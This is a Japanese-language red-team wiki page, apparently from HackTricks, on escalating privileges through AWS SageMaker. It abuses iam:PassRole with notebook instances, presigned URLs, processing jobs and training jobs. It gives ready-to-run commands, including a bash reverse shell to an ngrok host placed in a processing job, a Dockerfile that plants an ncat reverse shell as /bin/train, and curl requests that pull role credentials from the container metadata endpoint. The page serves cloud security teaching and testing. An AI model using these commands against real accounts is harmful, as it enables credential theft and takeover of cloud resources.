AWS - Sagemaker Privesc

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iam:PassRole、sagemaker:CreateNotebookInstance、sagemaker:CreatePresignedNotebookInstanceUrl

IAMロールにアクセスするためのノートブックを作成し始めます：

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

以下は、新しく作成されたノートブックインスタンスのARNを含むNotebookInstanceArnフィールドを含むべきです。その後、create-presigned-notebook-instance-url APIを使用して、準備ができたらノートブックインスタンスにアクセスするために使用できるURLを生成できます:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

ブラウザでURLに移動し、右上の`Open JupyterLab`をクリックし、次に「ランチャー」タブにスクロールダウンして、「その他」セクションの下にある「Terminal」ボタンをクリックします。

これでIAMロールのメタデータ資格情報にアクセスできます。

潜在的な影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreatePresignedNotebookInstanceUrl

すでにJupyter ノートブックが実行中である場合、sagemaker:ListNotebookInstancesを使用してそれらをリストできます（または他の方法でそれらを発見できます）。URLを生成し、アクセスし、前述のテクニックで示されているように資格情報を盗むことができます。

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

潜在的影響: sagemakerサービスロールへの特権昇格。

sagemaker:CreateProcessingJob,iam:PassRole

これらの権限を持つ攻撃者は、sagemakerがsagemakerロールをアタッチしたprocessingjobを実行することができます。攻撃者は、AWS管理のECSアカウントインスタンスで実行されるコンテナの定義を指定し、アタッチされたIAMロールの資格情報を盗むことができます。

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

潜在的影響: 指定されたsagemakerサービスロールへの権限昇格。

sagemaker:CreateTrainingJob, iam:PassRole

これらの権限を持つ攻撃者は、トレーニングジョブを作成し、それにアタッチされたロールを持つ任意のコンテナを実行することができます。したがって、攻撃者はそのロールの資格情報を盗むことができます。

このシナリオは前のものよりも悪用が難しいです。なぜなら、トレーニングジョブの構成で開始コマンドを指定できないため、Dockerイメージを生成してその中でrev shellまたは資格情報を直接攻撃者に送信する必要があるからです。

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**潜在的影響:** 指定されたsagemakerサービスロールへの特権昇格。

### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

これらの権限を持つ攻撃者は、**ハイパーパラメータチューニングジョブ**を作成し、それに**アタッチされたロール**で**任意のコンテナを実行**することができる（可能性があります）。
_時間の不足のためまだ悪用していませんが、以前の脆弱性に似ているようです。悪用の詳細を送信する際は、お気軽にPRを送ってください。_

## 参考文献

* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

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<summary><strong>**htARTE（HackTricks AWS Red Team Expert）**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>

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